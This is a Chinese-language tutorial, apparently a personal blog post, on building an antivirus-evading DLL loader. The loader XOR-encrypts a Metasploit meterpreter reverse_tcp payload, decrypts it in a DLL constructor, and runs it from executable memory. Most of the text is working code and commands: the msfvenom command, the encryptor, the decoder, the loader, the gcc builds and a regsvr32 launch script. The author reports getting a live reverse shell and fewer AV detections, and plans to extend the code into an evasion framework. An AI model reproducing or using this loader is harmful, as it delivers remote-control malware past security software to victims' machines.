免杀简单实践
实验各种渗透框架的后门,结果很多文件放到硬盘上就开始报毒,这样的话根本
很难实际使用,网上搜索各种免杀工具,据发布有些时间的似乎也都不行,自己
稍微熟悉点的可能是dll这一块,看到有通过加密payload然后再打包成dll,最后
用regsvr32 加载执行的思路,感觉可以是实践下,好歹这个可以自己写下程序。
选择payload
这里选择msf的经典payload:windows/meterpreter/reverse_tcp
//生成c形式的payload
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=7657 -f c
选择加密方式
这里选择比较简单的逐字符异或加密
//粘贴msf的payload
unsigned char buf[] = "
....
....
unsigned char KEY = '\x87';//随便选个字符
int main(){
unsigned int cnt = 1;
for(unsigned int index=0;index < sizeof(buf);index++){
buf[index] = buf[index]^KEY;
}
printf("\n\tunsigned char buf[]=\n");
for(unsigned int index=0;index < sizeof(buf);){
if(cnt==1){
printf("\"");
}else if(cnt>15){
cnt = 1;
printf("\"\n");
continue;
}
printf("\\x%x",buf[index]);
index++;
cnt++;
}
if(cnt != 1){
printf("\"");
}
printf(";\n");
}
编译执行获得加密结果
D:\dllmaster>gcc -m32 xorGenerator.c
D:\dllmaster>a.exe
编写解密模块
//config.h 配置模块,一些基本设置
#define XORBYPASSER '\x87'
#define DATAEXEC
#define NOWINDOW
//xorBypasser.h
void xorDecoder(unsigned char buf[],unsigned int size);
//xorBypasser.c
#include "config.h"
void xorDecoder(unsigned char buf[],unsigned int size){
for(unsigned int index=0;index<size;index++){
#ifdef XORBYPASSER
buf[index] = buf[index]^XORBYPASSER;
#endif
}
}
编写DLL
//DllMain.h
#include "config.h"
void __attribute__((constructor)) DllMain(void);
//把加密后的payload粘贴过来
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
....
....
//DllMain.c
#include "DllMain.h"
#include <stdio.h>
#include <windows.h>
typedef void (__stdcall *CODE) ();
void DllMain(){
unsigned int buf_size = sizeof(buf);
#ifdef XORBYPASSER
xorDecoder(buf,buf_size);\\解密payload
#endif
//这里采用申请内存空间的方式,把payload复制进去执行,也可以将data段设置可执行位直接跳转执行
PVOID p = NULL;
if ((p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
MessageBoxA(NULL, "error", "info", MB_OK);
if (!(memcpy(p, buf, sizeof(buf))))
MessageBoxA(NULL, "error", "info", MB_OK);
CODE code =(CODE)p;
code();
}
编译测试DLL
gcc -m32 -shared -o master.dll xorBypasser.c DllMain.c
在编写一个注册脚本 保存为test.bat
regsvr32 master.dll
远控端启动multi/handler监听会话
点击bat,成功上线
注释掉代码里的XORBYPASSER宏,把payload换回未加密的,生成一个dll来比较下
gcc -m32 -shared -o noob.dll xorBypasser.c DllMain.c
在线查毒检测
master.dll 加密后的payload
noob.dll 未加密的payload
基本还是有效果的
后记
这套代码,可以进一步扩展,最简单的可以设计一套bat脚本,利用编译器的预处理,自动化修改源码,然后生成dll
还可以进一步编写更复杂的加密模块,代码混淆,payload分段,设计成免杀框架